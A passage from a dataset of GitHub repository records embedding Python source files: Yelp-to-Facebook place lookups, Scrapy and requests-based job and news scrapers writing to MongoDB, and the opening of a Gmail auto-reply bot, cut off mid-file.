second\"\n for c in range(case):\n LengthAddEdge(lengthG[c],lflag[c],ltime[c],lwait[c])\n RandAddEdge(randG[c],rflag[c],rtime[c],rwait[c])\n DegAddEdge(weigthG[c],wflag[c],wtime[c],wwait[c])\n randCC[c][s] = nx.average_clustering(randG[c])\n weigthCC[c][s] = nx.average_clustering(weigthG[c])\n lengthCC[c][s] = nx.average_clustering(lengthG[c])\n\n#データをマージ\nrave = [0.0 for a in range(len(randCC[0]))]\nwave = [0.0 for a in range(len(randCC[0]))]\nlave = [0.0 for a in range(len(randCC[0]))]\n\nfor a in range(len(randCC[0])):\n for i in range(len(randCC)):\n rave[a] = (rave[a] + randCC[i][a])/len(randG)\n wave[a] = (wave[a] + weigthCC[i][a])/len(weigthG)\n lave[a] = (lave[a] + lengthCC[i][a])/len(lengthG)\n\nmakegraph(lave,wave,rave)\nembed()\n" } ]
1
alipourm/proactive-gps
https://github.com/alipourm/proactive-gps
864c4b216e148ffbeb6efe0cd49a1427f709e629
dac024551b65dd4b42e7c1da3e1d1fde4bf68560
6404bc7b74bf4e6b2484adb7b60dd764a3f80114
refs/heads/master
2016-09-05T23:39:54.528560
2014-02-03T23:39:09
2014-02-03T23:39:09
32,188,947
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6462745070457458, "alphanum_fraction": 0.6494117379188538, "avg_line_length": 29.119047164916992, "blob_id": "f8d45e631cbe3d0b8f1c6552f7ca6f39b38d8bf0", "content_id": "57187dba81667188262bda47e791fd15cdc7e59a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1275, "license_type": "no_license", "max_line_length": 120, "num_lines": 42, "path": "/src/yelp_fb.py", "repo_name": "alipourm/proactive-gps", "src_encoding": "UTF-8", "text": "from yelp_util import *\nimport fb\nimport sys\nimport json\n\ndef preprocess(search_term):\n search_parts = search_term.split()\n search_plussed = ''\n for s in search_parts[:-1]:\n search_plussed += s + \"+\"\n search_plussed += search_parts[-1] \n return search_plussed\n\n\n# Notes: There are several duplicate names\n# TODO: based on \"full_address\" in the businees file, plausible fb pages can \n# be detected, however, the problem remains for chain brands.\n\n# TODO: some businesses have \"&\" in their names it affects the REST query,\n# the corresponding codes should be replaced with such codes.\n\n\n\ndef main():\n business_json_file = sys.argv[1]\n business = extract_business_names(business_json_file)\n fb_pages = {}\n json_data = []\n for b in business:\n print business[b], preprocess(business[b])\n possible_results = fb.searchplace(preprocess(business[b]))\n# print possible_results\n fb_pages[b] = possible_results\n json_rec = json.dumps({\"business_id\": b, \"business_name\":business[b], \"fb_pages\": json.loads(possible_results)})\n json_data.append(json.loads(json_rec))\n print possible_results\n \n open(\"fb.json\", 'w').write(json.dumps(json_data, indent = 2))\n \n\n\nmain()\n \n \n" }, { "alpha_fraction": 0.6118836998939514, "alphanum_fraction": 0.6118836998939514, "avg_line_length": 29.346153259277344, "blob_id": "2d725e2224715b3d902e4d61b0c0adbae54e0521", "content_id": "2c6f844b889149b1e295907f022a9dc4a2f890d6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 791, "license_type": "no_license", "max_line_length": 48, "num_lines": 26, "path": "/src/yelp_util.py", "repo_name": "alipourm/proactive-gps", "src_encoding": "UTF-8", "text": "import json\n\nbusiness = {}\nreviews = {}\ndef extract_business_names(file_name):\n #TODO error handling\n bus_data_file = open(file_name) \n for line in bus_data_file.readlines():\n json_dec = json.loads(line)\n business_id = json_dec[\"business_id\"]\n business_name = json_dec[\"name\"]\n business[business_id] = business_name\n return business\n\ndef extract_reviews(file_name):\n #TODO error handling\n rev_data_file = open(file_name) \n for line in rev_data_file.readlines():\n json_dec = json.loads(line)\n business_id = json_dec[\"business_id\"]\n text = json_dec[\"text\"]\n if business_id not in reviews:\n reviews[business_id] = [text]\n else:\n reviews[business_id].append(text)\n return reviews\n\n\n" }, { "alpha_fraction": 0.6036036014556885, "alphanum_fraction": 0.6078710556030273, "avg_line_length": 24.719512939453125, "blob_id": "6b60ea4ef5b8fcaca3c97f5b4f2e417e2a85ab77", "content_id": "7b88d886fc9a29dc0c6dc9a0a89d817a2e5e6063", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2109, "license_type": "no_license", "max_line_length": 120, "num_lines": 82, "path": "/src/yelp_fb_pp.py", "repo_name": "alipourm/proactive-gps", "src_encoding": "UTF-8", "text": "from yelp_util import *\nimport fb\nimport sys\nfrom json import loads, dumps\nimport pp\n\nmax_bucket_size = 10\nn_cpus = 8\n\n\ndef split(dictionary, bucket_size):\n list_view = dictionary.items()\n dict_list = []\n cur_bucket = []\n for l in list_view:\n if len(cur_bucket) < bucket_size:\n cur_bucket.append(l)\n else:\n dict_list.append(dict(cur_bucket))\n cur_bucket = []\n return dict_list\n \n\n \n\n\n\ndef preprocess(search_term):\n search_parts = search_term.split()\n search_plussed = ''\n for s in search_parts[:-1]:\n search_plussed += s + \"+\"\n search_plussed += search_parts[-1] \n return search_plussed\n\n\n# Notes: There are several duplicate names\n# TODO: based on \"full_address\" in the businees file, plausible fb pages can \n# be detected, however, the problem remains for chain brands.\n\n# TODO: some businesses have \"&\" in their names it affects the REST query,\n# the corresponding codes should be replaced with such codes.\n\n\n\ndef main():\n business_json_file = sys.argv[1]\n business = extract_business_names(business_json_file)\n dict_list = split(business, max_bucket_size)\n ppservers = ()\n job_server = pp.Server(n_cpus, ppservers=ppservers)\n i = 0\n print \"Party is starting\"\n \n jobs = []\n for d in dict_list: \n \n j = job_server.submit(job, (d, i,), (preprocess,fb.searchplace,loads,dumps,), (\"fb\", \"json\",))\n i += 1\n jobs.append(j)\n\n for j in jobs:\n j()\n job_server.print_stats()\n\n\n\ndef job(business, i):\n json_data = []\n fb_pages = {}\n for b in business:\n print business[b], preprocess(business[b])\n possible_results = fb.searchplace(preprocess(business[b]))\n# print possible_results\n fb_pages[b] = possible_results\n json_rec = json.dumps({\"business_id\": b, \"business_name\":business[b], \"fb_pages\": json.loads(possible_results)})\n json_data.append(json.loads(json_rec))\n\n \n open(\"fb%s.json\"%(i), 'w').write(json.dumps(json_data, indent = 2))\n print \"%d done\\n\" % (i)\nmain()\n" }, { "alpha_fraction": 0.6336206793785095, "alphanum_fraction": 0.6336206793785095, "avg_line_length": 18.25, "blob_id": "33dbe81e51f731fe4317da4ca85a4220faa1ba9c", "content_id": "473cadee321c3a962dfdb98c41ecce501eb0e303", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 232, "license_type": "no_license", "max_line_length": 31, "num_lines": 12, "path": "/src/util.py", "repo_name": "alipourm/proactive-gps", "src_encoding": "UTF-8", "text": "import json\n\nCONFIG = \"app.conf\"\ndef read_data():\n conf_file = open(CONFIG)\n data = json.load(conf_file)\n conf_file.close()\n return data\n\ndef extract_data(site, item):\n data = read_data()\n return data[site][item]\n\n" }, { "alpha_fraction": 0.7001620531082153, "alphanum_fraction": 0.7034035921096802, "avg_line_length": 37.5625, "blob_id": "f4ce2bd80785a06c9958a3797cc51eb92999c2f9", "content_id": "bd92f18bb700310e8e66aa5263450b8e9ac50bbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 617, "license_type": "no_license", "max_line_length": 142, "num_lines": 16, "path": "/src/fb.py", "repo_name": "alipourm/proactive-gps", "src_encoding": "UTF-8", "text": "from util import extract_data\nfrom pprint import pprint\nimport httplib2\n\napp_id = extract_data(\"facebook\", \"app_id\")\napp_sec = extract_data(\"facebook\", \"app_secret\")\n\n\ndef searchplace(search):\n http = httplib2.Http()\n token_url = \"https://graph.facebook.com/oauth/access_token?client_id=%s&client_secret=%s&grant_type=client_credentials\" %(app_id,app_sec) \n url = \"https://graph.facebook.com/\"\n search_term = \"search?q=%s&type=place&\" % (search)\n response, access_token = http.request(token_url)\n response, search_results = http.request(url + search_term + access_token)\n return search_results\n" } ]
5
RendraID/Renn
https://github.com/RendraID/Renn
7e7fae938c780b92adcfb6591d81760367145593
43ed3edb8136c93efbed9502ea2d56caee0344a5
44b38bab96fd75d15ac1087f510d90b4973f8f14
refs/heads/main
2023-04-07T15:58:35.738916
2021-04-13T05:33:42
2021-04-13T05:33:42
357,434,642
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7307692170143127, "alphanum_fraction": 0.7307692170143127, "avg_line_length": 25, "blob_id": "dca2666889bc5d4238bdcad2b0414a210a788d4f", "content_id": "9628e9b6e54a5ab0b29a8891a39bb04f9d781680", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26, "license_type": "no_license", "max_line_length": 25, "num_lines": 1, "path": "/RennID/rendra.py", "repo_name": "RendraID/Renn", "src_encoding": "UTF-8", "text": "print(\"jangan lupa saur\")\n" }, { "alpha_fraction": 0.7058823704719543, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 7.5, "blob_id": "2236cf8441ec758ec94f328156834d4afe12a311", "content_id": "7089e4c0d59eeb1266884bbf653948aeb64a898a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 17, "license_type": "no_license", "max_line_length": 9, "num_lines": 2, "path": "/README.md", "repo_name": "RendraID/Renn", "src_encoding": "UTF-8", "text": "# Renn\nMoga bisa\n" } ]
2
VinerG/Processing-data-from-internet
https://github.com/VinerG/Processing-data-from-internet
3f54fea0633b37d9f5401801378a4ff4279ad36f
71373a17dc9435cb06bc9d166d2b44026c6cb17e
cda986de2b2a2b97bfe123c8b85abb13cee9db4e
refs/heads/main
2023-08-03T09:47:28.470370
2021-09-24T15:07:01
2021-09-24T15:07:01
402,055,839
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6772388219833374, "alphanum_fraction": 0.6772388219833374, "avg_line_length": 24.571428298950195, "blob_id": "1b1bda06c48fc724efb149f9de5806f809fd1a5a", "content_id": "6756aeb4eb80dc3c76ec2507c097ecbf30a27b23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 536, "license_type": "no_license", "max_line_length": 53, "num_lines": 21, "path": "/Lesson-6/ScrapyProject/items.py", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "# Define here the models for your scraped items\n#\n# See documentation in:\n# https://docs.scrapy.org/en/latest/topics/items.html\n\nimport scrapy\nfrom scrapy.loader.processors import TakeFirst\n\nclass LeroymerlinItem(scrapy.Item):\n name = scrapy.Field()\n # photo_file_name = scrapy.Field()\n # photo_url = scrapy.Field()\n params = scrapy.Field()\n url = scrapy.Field()\n price = scrapy.Field()\n\n file_urls = scrapy.Field()\n files = scrapy.Field()\n file_name = scrapy.Field(\n output_processor=TakeFirst()\n )" }, { "alpha_fraction": 0.7128713130950928, "alphanum_fraction": 0.7326732873916626, "avg_line_length": 33, "blob_id": "b3d05cf672dba4f7adb222f2f1e2469398c69b14", "content_id": "3c78e0bd3f9404426bfc705da9e709e9f496ad9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 101, "license_type": "no_license", "max_line_length": 55, "num_lines": 3, "path": "/Lesson-1/readme.txt", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "1) https://api.github.com/users/VinerG/repos\n\n2) curl -u VinerG:<MyToken> https://api.github.com/user" }, { "alpha_fraction": 0.6107078194618225, "alphanum_fraction": 0.6302177906036377, "avg_line_length": 32.39393997192383, "blob_id": "2bc61065998c8a25e1e81b6664bb957d92d9160a", "content_id": "4072b722c3e7b4e684afc70563e8aba7cef000cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2204, "license_type": "no_license", "max_line_length": 142, "num_lines": 66, "path": "/Lesson-4/lesson-4.py", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "from lxml import html\nimport requests\nfrom pymongo import MongoClient\nfrom pprint import pprint\n\nHEADERS = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'}\n\nXPATH_CONFIG_MAIL_RU = {\n \"urls\": \"//a[contains(@class,'news-visited')]//@href\",\n \"title\": \"//div[contains(@class,'article')]//h1[@class='hdr__inner']/text()\",\n \"time\": \"//div[contains(@class,'breadcrumbs')][contains(@class,'breadcrumbs_article')]/span[1]//text()\",\n \"source\": \"//div[contains(@class,'breadcrumbs')][contains(@class,'breadcrumbs_article')]/span[2]//text()\"\n}\n\nXPATH_CONFIG_LENTA_RU = {\n \"urls\": \"//div[contains(@class,'item')][contains(@class,'article')]/a[1]/@href\",\n \"title\": \"//h1[@class='b-topic__titles']//text()\",\n \"time\": \"//div[contains(@class,'b-topic__info')]/time//text()\",\n \"source\": \"//div[contains(@class,'b-topic__info')]/span[2]//text()\"\n}\n\n\ndef parse_main_page(url, config):\n response = requests.get(url, headers = HEADERS)\n root = html.fromstring(response.text)\n result = []\n for item in root.xpath(config[\"urls\"]):\n if (item.find(\"://\") == -1):\n item = url + item\n result.append(item)\n return result\n\n\ndef parse_news_page(url, config):\n result = {}\n response = requests.get(url, headers=HEADERS)\n root = html.fromstring(response.text)\n result[\"url\"] = url\n result[\"title\"] = (\"\".join(root.xpath(config[\"title\"]))).replace(\"\\xa0\", \" \").strip()\n result[\"time\"] = \"\".join(root.xpath(config[\"time\"]))\n result[\"source\"] = \"\".join(root.xpath(config[\"source\"]))\n return result\n\n\ndef parse(url, config):\n result = []\n for item in parse_main_page(url, config):\n item_data = parse_news_page(item, config)\n if item_data[\"title\"]:\n result.append(item_data)\n return result\n\n\ndata = []\n\ndata += parse(\"https://mail.ru\", XPATH_CONFIG_MAIL_RU)\ndata += parse(\"https://lenta.ru\", XPATH_CONFIG_LENTA_RU)\n\n# pprint(data)\n\n# Store and retrive data from mongodb\ncollection = MongoClient('localhost', 27017)[\"gb_study\"][\"lesson_4_news\"]\ncollection.delete_many({})\ncollection.insert_many(data)\n\npprint(list(collection.find({})))\n" }, { "alpha_fraction": 0.6286097764968872, "alphanum_fraction": 0.6453995704650879, "avg_line_length": 47.032257080078125, "blob_id": "5ee42b61887faa5911302bffbf5051b9dc811bcf", "content_id": "359af59b2eac5b860d990fd3d3a0a0928e3556e7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1489, "license_type": "no_license", "max_line_length": 133, "num_lines": 31, "path": "/Lesson-6/ScrapyProject/spiders/leroymerlin.py", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "import scrapy\nfrom ScrapyProject.items import LeroymerlinItem\nimport uuid\nfrom scrapy.loader import ItemLoader\nfrom scrapy.loader.processors import MapCompose\n\nclass LeroymerlinSpider(scrapy.Spider):\n name = 'leroymerlin'\n allowed_domains = ['leroymerlin.ru']\n start_urls = ['https://leroymerlin.ru/catalogue/shlifovalnye-mashiny/']\n\n def parse(self, response, **kwargs):\n # Search next page link\n next_page_url = response.css('a.bex6mjh_plp.s15wh9uj_plp.l7pdtbg_plp.r1yi03lb_plp.sj1tk7s_plp::attr(\"href\")').extract_first()\n if next_page_url is not None:\n yield scrapy.Request(response.urljoin(next_page_url), callback=self.parse)\n\n # Search vacancies links\n items = response.css('div.phytpj4_plp.largeCard')\n for item in items:\n item_loader = ItemLoader(item=LeroymerlinItem(), response=response, selector=item)\n\n item_loader.add_css('name', \"span.t9jup0e_plp.p1h8lbu4_plp::text\")\n item_loader.add_xpath('url', \"a/@href\", MapCompose(lambda i: response.urljoin(i)))\n item_loader.add_css('price', \"p.t3y6ha_plp.xc1n09g_plp.p1q9hgmc_plp::text\",\n MapCompose(lambda i: i.replace('\\xa0', '')))\n\n item_loader.add_value('file_name', str(uuid.uuid1()))\n item_loader.add_xpath('file_urls', 'a/span/picture/img/@src',\n MapCompose(lambda i: response.urljoin(i)))\n yield item_loader.load_item()\n" }, { "alpha_fraction": 0.7389221787452698, "alphanum_fraction": 0.7401197552680969, "avg_line_length": 33.79166793823242, "blob_id": "c9035877606f895872ff6be6b2f0bd774af46103", "content_id": "9f4cce441d6014359d030e66113b6d7049ed3c65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 835, "license_type": "no_license", "max_line_length": 114, "num_lines": 24, "path": "/Lesson-6/ScrapyProject/pipelines.py", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\n\nimport scrapy\nfrom scrapy.pipelines.images import ImagesPipeline\nfrom scrapy.pipelines.files import FilesPipeline\nfrom scrapy import Request\nfrom os.path import splitext\n\n\nclass LeroyMerlinImagePipeline(FilesPipeline):\n def get_media_requests(self, item, info):\n return [Request(x, meta={'filename': item.get('file_name')}) for x in item.get(self.files_urls_field, [])]\n\n def file_path(self, request, response=None, info=None):\n url = request.url\n media_ext = splitext(url)[1]\n return f'{request.meta[\"filename\"]}{media_ext}'\n" }, { "alpha_fraction": 0.5981791615486145, "alphanum_fraction": 0.6248706579208374, "avg_line_length": 40.30769348144531, "blob_id": "4191f28256fb76baa0945ab874c58c3dbdce374d", "content_id": "cd4ca17c2c2d070764201a883f4a5eddffb5821e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5116, "license_type": "no_license", "max_line_length": 217, "num_lines": 117, "path": "/Lesson-2/lesson-2.py", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "# Наименование вакансии.\n# Предлагаемую зарплату (отдельно минимальную и максимальную).\n# Ссылку на саму вакансию.\n# Сайт, откуда собрана вакансия.\n# По желанию можно добавить ещё параметры вакансии (например, работодателя и расположение). Структура должна быть одинаковая для вакансий с обоих сайтов. Общий результат можно вывести с помощью dataFrame через pandas.\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport pandas as pd\nimport pprint\n\ndef request_hh_api(url):\n headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\"}\n response = requests.get(url, headers=headers).json()\n data = []\n for item in response['items']:\n data_item = {}\n data_item[\"site\"] = \"www.hh.ru (API)\"\n data_item[\"name\"] = item[\"name\"]\n data_item[\"url\"] = \"https://hh.ru/vacancy/{}\".format(item[\"id\"])\n if item[\"salary\"] is not None:\n data_item[\"salary\"] = item[\"salary\"]\n data_item[\"employer\"] = item[\"employer\"][\"name\"]\n data_item[\"location\"] = item[\"area\"][\"name\"]\n data.append(data_item)\n return data\n\ndef parse_hh_page(url):\n headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\"}\n response = requests.get(url, headers=headers).text\n soup = BeautifulSoup(response, 'lxml')\n vacancies = soup.select(\"div.vacancy-serp div.vacancy-serp-item\")\n data = []\n for vacancy in vacancies:\n data_item = {}\n\n data_item[\"site\"] = \"www.hh.ru\"\n vacation_info = vacancy.find(name=\"a\", attrs={\"data-qa\": \"vacancy-serp__vacancy-title\"})\n data_item[\"name\"] = vacation_info.text\n data_item[\"url\"] = vacation_info[\"href\"]\n # salary\n tag = vacancy.find(name=\"span\", attrs={\"data-qa\": \"vacancy-serp__vacancy-compensation\"})\n if tag is not None:\n # data_item[\"salary\"] = tag.text.replace(\"\\u202f\", \"\")\n data_item[\"salary\"] = tag.text.replace(\"\\u202f\", \"\")\n # employer\n tag = vacancy.find(name=\"a\", attrs={\"data-qa\": \"vacancy-serp__vacancy-employer\"})\n if tag is not None:\n data_item[\"employer\"] = tag.text\n # location\n tag = vacancy.find(name=\"span\", attrs={\"data-qa\": \"vacancy-serp__vacancy-address\"})\n if tag is not None:\n data_item[\"location\"] = tag.text\n\n data.append(data_item)\n return data\n\n\ndef parse_superjob_page(url):\n headers = {\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36\"}\n response = requests.get(url, headers=headers).text\n soup = BeautifulSoup(response, 'lxml')\n vacancies = soup.select(\"div.f-test-search-result-item div.Fo44F\")\n data = []\n for vacancy in vacancies:\n data_item = {}\n\n data_item[\"site\"] = \"www.superjob.ru\"\n data_item[\"name\"] = vacancy.select(\"a._6AfZ9\")[0].text\n data_item[\"url\"] = \"https://www.superjob.ru\" + vacancy.select(\"a.icMQ_\")[0][\"href\"]\n # salary\n list = vacancy.select(\"span.f-test-text-company-item-salary\")\n if len(list) > 0:\n data_item[\"salary\"] = list[0].text\n # employer\n list = vacancy.select(\"a._205Zx\")\n if len(list) > 0:\n data_item[\"employer\"] = list[0].text\n # location\n list = vacancy.select(\"span.f-test-text-company-item-location\")\n if len(list) > 0:\n list = list[0].select(\"span\")\n if len(list) > 2:\n data_item[\"location\"] = list[2].text\n\n data.append(data_item)\n return data\n\n\nall_data = []\n\n# Retrive data from www.hh.ru by api\nprint(\"Request www.hh.ru (API)\", end=\"\")\nall_data += request_hh_api(\"https://api.hh.ru/vacancies?text=Python&area=1&per_page=100\")\nprint(\". Found {} vacancies.\".format(len(all_data)))\nprint()\n\n# Scraping data from http site www.hh.ru\npage_count = 5\nfor i in range(1, page_count + 1):\n print(\"Parse www.hh.ru page number {} of {}\".format(i, page_count), end=\"\")\n new_data = parse_hh_page(\"https://hh.ru/search/vacancy?area=1&fromSearchLine=true&st=searchVacancy&text=python&page={}\".format(i - 1))\n print(\". Found {} vacancies.\".format(len(new_data)))\n all_data += new_data\nprint()\n\n# Scraping data from http site www.superjob.ru\nfor i in range(1, page_count + 1):\n print(\"Parse www.superjob.ru page number {} of {}\".format(i, page_count), end=\"\")\n new_data = parse_superjob_page(\"https://www.superjob.ru/vacancy/search/?keywords=python&geo%5Bt%5D%5B0%5D=4&page={}\".format(i))\n print(\". Found {} vacancies.\".format(len(new_data)))\n all_data += new_data\nprint()\n\npp = pprint.PrettyPrinter(indent=4)\npp.pprint(all_data)\nprint(\"\\nTotal count: {}\".format(len(all_data)))\n" }, { "alpha_fraction": 0.5600824952125549, "alphanum_fraction": 0.5698813796043396, "avg_line_length": 45.16666793823242, "blob_id": "26e7c074b0c3494b1c7b5e6672800b53c855ab21", "content_id": "7b2e1d16f3fa9de035c5fa8d431b2faa1b0ef907", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1945, "license_type": "no_license", "max_line_length": 99, "num_lines": 42, "path": "/Lesson-5/scrapy_superjob/spiders/superjob.py", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "import scrapy\n\nfrom pymongo import MongoClient\n\nfrom scrapy_superjob.items import ScrapySuperjobVacancyItem\n\ndb = MongoClient(host='localhost', port=27017).gb_study.lesson_5\ndb.delete_many({})\n\nclass SuperjobSpider(scrapy.Spider):\n name = 'superjob'\n allowed_domains = ['superjob.ru']\n start_urls = ['https://www.superjob.ru/vacancy/search/?keywords=Python&geo%5Bt%5D%5B0%5D=4']\n\n def parse(self, response, **kwargs):\n # Search next page link\n next_page_url = response.css('a.f-test-link-Dalshe::attr(\"href\")').extract_first()\n if next_page_url is not None:\n url = response.urljoin(next_page_url)\n yield scrapy.Request(url, callback=self.parse)\n\n # Search vacancies links\n for vacancy in response.css('div.f-test-search-result-item div.Fo44F'):\n item = ScrapySuperjobVacancyItem()\n item['url'] = response.urljoin(vacancy.css('a.icMQ_::attr(\"href\")').extract_first())\n item['name'] = (\"\".join(vacancy.css('a._6AfZ9 *::text').extract()))\n salary = \"\".join(vacancy.css('span.f-test-text-company-item-salary *::text').extract())\n if salary is not None:\n # parse salary\n if (pos := salary.find(\"—\")) > -1:\n item['salary_from'] = \"\".join(filter(str.isdigit, salary[:pos]))\n item['salary_to'] = \"\".join(filter(str.isdigit, salary[pos:]))\n elif salary.find(\"от \") > -1:\n item['salary_from'] = \"\".join(filter(str.isdigit, salary))\n elif salary.find(\"до \") > -1:\n item['salary_to'] = \"\".join(filter(str.isdigit, salary))\n else:\n item['salary_from'] = \"\".join(filter(str.isdigit, salary))\n item['salary_to'] = \"\".join(filter(str.isdigit, salary))\n # Store into MongoDB\n db.insert(dict(item))\n yield item\n" }, { "alpha_fraction": 0.7014925479888916, "alphanum_fraction": 0.7014925479888916, "avg_line_length": 22.85714340209961, "blob_id": "e655a7ef830bb3a4278e3566036d0cbdd08f3c35", "content_id": "656a136db7fbfafea8c9b4fe81c2451db10fea42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 335, "license_type": "no_license", "max_line_length": 53, "num_lines": 14, "path": "/Lesson-5/scrapy_superjob/items.py", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "# Define here the models for your scraped items\n#\n# See documentation in:\n# https://docs.scrapy.org/en/latest/topics/items.html\n\nimport scrapy\n\n\nclass ScrapySuperjobVacancyItem(scrapy.Item):\n url = scrapy.Field()\n name = scrapy.Field()\n salary = scrapy.Field()\n salary_from = scrapy.Field()\n salary_to = scrapy.Field()\n\n" }, { "alpha_fraction": 0.6473214030265808, "alphanum_fraction": 0.672247052192688, "avg_line_length": 38.52941131591797, "blob_id": "e2de502020a9990f67bca30f71db05f15c2ce6c3", "content_id": "6f9579098324d3e190488ca1c731ad6832f25139", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2920, "license_type": "no_license", "max_line_length": 123, "num_lines": 68, "path": "/Lesson-3/lesson-3.py", "repo_name": "VinerG/Processing-data-from-internet", "src_encoding": "UTF-8", "text": "import requests\nfrom pymongo import MongoClient\n\nMONGODB_DATABASE = \"vacancies\"\nMONGODB_COLLECTION = \"vacancies\"\n\n\ndef request_hh_api(url):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \" +\n \"Chrome/92.0.4515.159 Safari/537.36\"}\n response = requests.get(url, headers=headers).json()\n vacancies = []\n for item in response['items']:\n vacancy = {}\n vacancy[\"site\"] = \"www.hh.ru\"\n vacancy[\"vacancy_id\"] = item[\"id\"]\n vacancy[\"name\"] = item[\"name\"]\n vacancy[\"url\"] = \"https://hh.ru/vacancy/{}\".format(item[\"id\"])\n if item[\"salary\"] is not None:\n vacancy[\"salary\"] = item[\"salary\"]\n vacancy[\"employer\"] = item[\"employer\"][\"name\"]\n vacancy[\"location\"] = item[\"area\"][\"name\"]\n vacancies.append(vacancy)\n return vacancies\n\n\n# 1. Реализовать функцию, записывающую собранные вакансии в созданную БД.\ndef post_data_into_db(collection, data):\n return collection.insert_many(data)\n\n\n# 2. Написать функцию, которая производит поиск и выводит на экран вакансии с заработной платой больше введённой суммы.\ndef search_vacancy_by_salary(collection, salary):\n return collection.find({\"$or\": [{\"salary.from\": {\"$gt\": salary}}, {\"salary.to\": {\"$gt\": salary}}]}, {\"_id\": False})\n\n\n# 3. Написать функцию, которая будет добавлять в вашу базу данных только новые вакансии с сайта.\ndef post_data_into_db_only_new(collection, data):\n count = 0\n for data_item in data:\n if collection.replace_one({\"vacancy_id\": data_item[\"vacancy_id\"]}, data_item, upsert=True).upserted_id is not None:\n count += 1\n return count\n\n\ncollection = MongoClient('localhost', 27017)[MONGODB_DATABASE][MONGODB_COLLECTION]\ncollection.delete_many({})\n\n# Retrive 50 vacancies from www.hh.ru by api\nprint(\"Request www.hh.ru (API)\", end=\"\")\ndata = request_hh_api(\"https://api.hh.ru/vacancies?text=Python&area=1&per_page=50\")\nprint(\". Found {} vacancy.\".format(len(data)))\n\n# Insert found vacancies into mongo\nprint(post_data_into_db(collection, data).acknowledged)\n\n# Get vacancies with salary > 100 000 from mongo\nfound_data = list(search_vacancy_by_salary(collection, 100000))\nfor i in found_data:\n print(i)\nprint(\"Found {} vacancies with salary >= 100000.\".format(len(found_data)))\n\n# Retrive 70 vacancies from www.hh.ru by api and insert found vacancies into mongo (only new)\nprint(\"Request www.hh.ru (API)\", end=\"\")\ndata = request_hh_api(\"https://api.hh.ru/vacancies?text=Python&area=1&per_page=70\")\nprint(\". Found {} vacancy.\".format(len(data)))\nprint(\"Upserted new records: \", post_data_into_db_only_new(collection, data))\n" } ]
9
jjisnow/gmail_response_bot
https://github.com/jjisnow/gmail_response_bot
8dcddfdbefd74c2e94e270b9cc68932022de6b1c
2bff976dcec171c6e9df78cb2808a1f5df9bc9c8
376d33d95d5fb6494b9bd1cf059b5c73537dba6e
refs/heads/master
2020-12-10T03:26:00.281363
2017-06-27T12:28:34
2017-06-27T12:28:34
95,555,695
1
0
null
null
null
null
null
[ { "alpha_fraction": 0.600010871887207, "alphanum_fraction": 0.6027308106422424, "avg_line_length": 33.2966423034668, "blob_id": "84e8bfaea1f4523059186c3c026797796d517735", "content_id": "14de054836c4979570f6a87e2748f50ecb56f0ae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18383, "license_type": "no_license", "max_line_length": 89, "num_lines": 536, "path": "/canned_response_bot.py", "repo_name": "jjisnow/gmail_response_bot", "src_encoding": "UTF-8", "text": "from __future__ import print_function\n\nimport base64\nimport email\nimport os\nimport pprint\nimport time\nfrom email.mime.text import MIMEText\nfrom email.utils import parseaddr\n\nimport httplib2\nfrom apiclient import discovery\nfrom apiclient import errors\nfrom oauth2client import client\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\n\nfrom .canned_reply_config import to, senders, user_id, message_text, canned_label, \\\n sender_credentials_file, client_secret_file\n\ntry:\n import argparse\n\n flags = 